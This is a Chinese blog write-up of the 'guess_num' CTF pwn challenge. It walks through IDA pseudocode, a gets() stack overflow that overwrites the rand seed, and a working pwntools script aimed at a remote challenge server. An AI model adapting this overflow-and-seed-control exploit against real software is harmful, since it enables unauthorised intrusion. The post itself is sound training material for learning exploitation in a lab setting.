zoukankan      html  css  js  c++  java
  • PWN头秃之旅

    接着做上一篇的pwn新手第一题guess_num,接下来要用到另一个工具IDA。

    IDA(Interactive Disassembler):是一款静态反编译软件,这是官网的介绍:

    The IDA Disassembler and Debugger is an interactive, programmable, extensible, multi-processor disassembler hosted on Windows, Linux, or Mac OS X. IDA has become the de-facto standard for the analysis of hostile code, vulnerability research and commercial-off-the-shelf validation.

    用IDA生成伪代码

    用IDA打开程序,首先咱们要查看main的伪代码,为啥要查看伪代码呢?因为咱看不懂汇编,只能通过伪代码看懂程序的逻辑,看懂了程序的逻辑才能找到解题的突破口~

    网上很多地方写的是按F5来生成伪代码,具体步骤没有写对小白很不友好,自己摸索了下,步骤如下:

    1. 双击左边函数窗口中的main,打开view窗口,view窗口生成的是main的天书,哦不,是汇编代码:

    2. 鼠标放在view窗口的main那一行,按F5:

    3. 成功生成main的伪代码:

    main函数的完整伪代码:

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      FILE *v3; // rdi
      const char *v4; // rdi
      int v6; // [rsp+4h] [rbp-3Ch]
      int i; // [rsp+8h] [rbp-38h]
      int v8; // [rsp+Ch] [rbp-34h]
      char v9; // [rsp+10h] [rbp-30h]
      unsigned int seed[2]; // [rsp+30h] [rbp-10h]
      unsigned __int64 v11; // [rsp+38h] [rbp-8h]
    
      v11 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      v3 = stderr;
      setbuf(stderr, 0LL);
      v6 = 0;
      v8 = 0;
      *(_QWORD *)seed = sub_BB0(v3, 0LL);
      puts("-------------------------------");
      puts("Welcome to a guess number game!");
      puts("-------------------------------");
      puts("Please let me know your name!");
      printf("Your name:");
      gets(&v9);
      v4 = (const char *)seed[0];
      srand(seed[0]);
      for ( i = 0; i <= 9; ++i )
      {
        v8 = rand() % 6 + 1;
        printf("-------------Turn:%d-------------
    ", (unsigned int)(i + 1));
        printf("Please input your guess number:");
        __isoc99_scanf("%d", &v6);
        puts("---------------------------------");
        if ( v6 != v8 )
        {
          puts("GG!");
          exit(1);
        }
        v4 = "Success!";
        puts("Success!");
      }
      sub_C3E(v4);
      return 0LL;
    }
    View Code

    这个程序的关键部分是:

    1. 输入一个数字和程序生成的随机数不相等时,就退出并输出"GG"。这个程序我们是无法猜到正确数字的,因为不知道生成随机数的种子seed的值是多少。。。

     

    2. 输入数字和随机数相等时,进入sub_C3E就能拿到flag,sub_C3E的伪代码如下:

    __int64 sub_C3E()
    {
      printf("You are a prophet!
    Here is your flag!");
      system("cat flag");
      return 0LL;
    }
    View Code

    用IDA查看堆栈

    srand(seed[0])前面的gets函数传入参数v8,类型是char,这里gets没有校验参数的长度。所以gets的输入参数就是突破点,write up给出的思路是用gets的参数覆盖seed,然后设置seed的值,这样生成随机数的种子就是已知的了。

    注:gets() 函数的功能是从输入缓冲区中读取一个字符串存储到字符指针变量 str 所指向的内存空间。

    那么,怎么用gets的参数覆盖seed的值呢?为什么gets的参数能覆盖seed的值呢?

    main函数在开头定义了6个参数,gets的入参v8位置在第四个,seed定义在第5个,我们知道,在参数定义的时候,内存会为参数开辟存储空间,我们先找到v8和seed在内存中的存储位置,步骤如下:

    1. 将main函数切换到文本视图,在view窗口右键选择“文本视图”即可:

    2.找到v8和seed在栈中的位置

    切到main的伪代码视图,双击定义v8的地方:

    找到v8在栈中的位置:

     

    同理,找到seed在栈中的位置

     3. 计算字符覆盖数

    seed和v8之前隔了0x20个位置,注意内存地址是用16进制表示的!

    能看懂网上的wirte up并且复现到这一步,还是要归功于咱屡败屡战的经典栈溢出实验。汇编,内存地址,地址覆盖这些基础知识都是在这个实验中学到的,如果没有这个实验,我可能连现成的wirte up都看不懂(给你答案你却不知道怎么抄的感觉>_<)

    最后编写脚本(网上copy来的,本人不会写,依然这么理直气壮哈哈哈):

    from pwn import *
    from ctypes import *
     
    a = remote('220.249.52.133',51754)
    payload = 'a' * 0x20 + p32(1)
    print "payload"
    
    a.recvuntil("Your name:")
    a.sendline(payload)
    
    libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
    
     
    libc.srand(1)
    for i in range(10):
        a.sendlineafter("number:",str(libc.rand()%6+1))
     
    print a.recvall()
    View Code

    运行脚本,拿到flag:

    本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。  

    如需转载,请注明出处,这是对他人劳动成果的尊重。

  • 相关阅读:
    基于Typescript和Jest刷题环境搭建与使用
    一些惊艳到我的运维实施技巧和思路
    Zabbix 5.0:监控MySQL出现的问题
    Linux防火墙IPtables配置策略思路
    聊聊二维码
    如何创建SQLite数据库
    PLC工程师学会编程,是一种什么样的体验?
    让你的上位机程序独占鳌头
    使用delve调试golang
    指纹登录是怎么跑起来的
  • 原文地址:https://www.cnblogs.com/sallyzhang/p/13328333.html
Copyright © 2011-2022 走看看